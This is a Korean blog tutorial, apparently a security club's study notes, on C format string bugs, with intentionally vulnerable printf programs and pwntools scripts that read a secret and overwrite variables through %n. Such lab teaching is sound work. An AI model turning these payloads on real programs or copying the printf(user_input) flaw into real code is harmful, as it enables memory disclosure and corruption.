Format String
포맷 스트링을 인자로 사용하는 C언어 함수: printf, scanf, fprintf, fscanf, sprintf, sscanf 등
함수 이름이 f (formatted)로 끝나고 문자열을 다루는 함수
%[parameter][flags][width][.precision][length]type
형식 지정자(specifier)
: 인자를 어떻게 사용할지 지정
형식 지정자 | 설명 |
d | 부호있는 10진수 정수 |
s | 문자열 |
x | 부호없는 16진수 정수 |
n | 인자에 현재까지 사용된 문자열의 길이를 저장 |
p | void형 포인터 |
Format String Bug
포맷 스트링 함수를 잘못 사용하여 발생하는 버그, FSB
포맷 스트링을 사용자가 입력할 수 있을 때, 공격자는 레지스터/스택을 읽고, 임의 주소 읽기/쓰기를 할 수 있다.
#include <stdio.h>
int main(void) {
int auth = 0x42424242;
char buf[32] = {0, };
read(0, buf, 32);
printf(buf);
// make auth to 0xff
}
buf를 인자로 printf 호출 -> 포맷 스트링 버그
포맷 스트링을 입력해 auth 변수를 0xff로 덮어쓰자.
9번째 인자 0x2070252041414141 = buf
buf에 auth 주소를 little endian 형태로 넣고,
%n을 활용해 auth 주소에 넣으면 0xff를 쓸 수 있다.
auth 주소 0x7fffffffdddc (사진상으론 가려서 안 보이지만 파란색 B 첫칸 주소)
-> little endian 하면 dcddffffff7f0000 -> Hex encode
%246c%9$n을 넣으면 auth에 0xff가 써진다.
레지스터 및 스택 읽기
#include <stdio.h>
int main() {
char format[0x100];
printf("Format: ");
scanf("%[^\n]", format);
printf(format);
return 0;
}
왜 printf 함수에 전달한 인자가 없음에도 임의의 값들이 출력되었을까?
=> 인자를 필요로 하는 포맷 스트링을 사용해서 레지스터와 스택에 존재하는 값이 출력됨.
출력된 값들은 각각
rsi, rdx, rcx, r8, r9, [rsp], [rsp+8], [rsp+0x10], [rsp+0x18], [rsp+0x20]
임의 주소 읽기
위에서 6번째 출력 값인 [rsp] 부터 사용자 입력을 8글자씩 참조한다.
0x7025207025207025 => %p %p %p
이를 응용하면 포맷 스트링에 참조하고 싶은 주소를 넣고 %[n]$s 형식으로 해당 주소의 데이터를 재참조해 읽을 수 있다.
#include <stdio.h>
const char *secret = "THIS IS SECRET";
int main() {
char format[0x100];
printf("Address of `secret`: %p\n", secret);
printf("Format: ");
scanf("%[^\n]", format);
printf(format);
return 0;
}
from pwn import *
p = process("./fsb_aar")
p.recvuntil("`secret`: ")
addr_secret = int(p.recvline()[:-1], 16)
fstring = b"%7$s".ljust(8)
fstring += p64(addr_secret)
p.sendline(fstring)
p.interactive()
임의 주소 쓰기
포맷 스트링에 임의의 주소를 넣고 %[n]$s 형식으로 해당 주소에 데이터를 쓸 수 있다.
#include <stdio.h>
int secret;
int main() {
char format[0x100];
printf("Address of `secret`: %p\n", &secret);
printf("Format: ");
scanf("%[^\n]", format);
printf(format);
printf("Secret: %d", secret);
return 0;
}
from pwn import *
p = process("./fsb_aaw")
p.recvuntil("`secret`: ")
addr_secret = int(p.recvline()[:-1], 16)
fstring = b"%31337c%8$n".ljust(16)
fstring += p64(addr_secret)
p.sendline(fstring)
print(p.recvall())
Secret 전역 변수의 값이 31337로 조작되었다.
'SYSTEM HACKING' 카테고리의 다른 글
[SWING] Pwnable 04 - Use After Free (0) | 2023.11.11 |
---|---|
[SWING] Pwnable 04 - ptmalloc2 (0) | 2023.11.11 |
[SWING] Pwnable 03 - PLT&GOT (0) | 2023.09.25 |
[SWING] Pwnable 03 - NX&ASLR (0) | 2023.09.25 |
[SWING] Pwnable 03 - 스택 카나리 (0) | 2023.09.25 |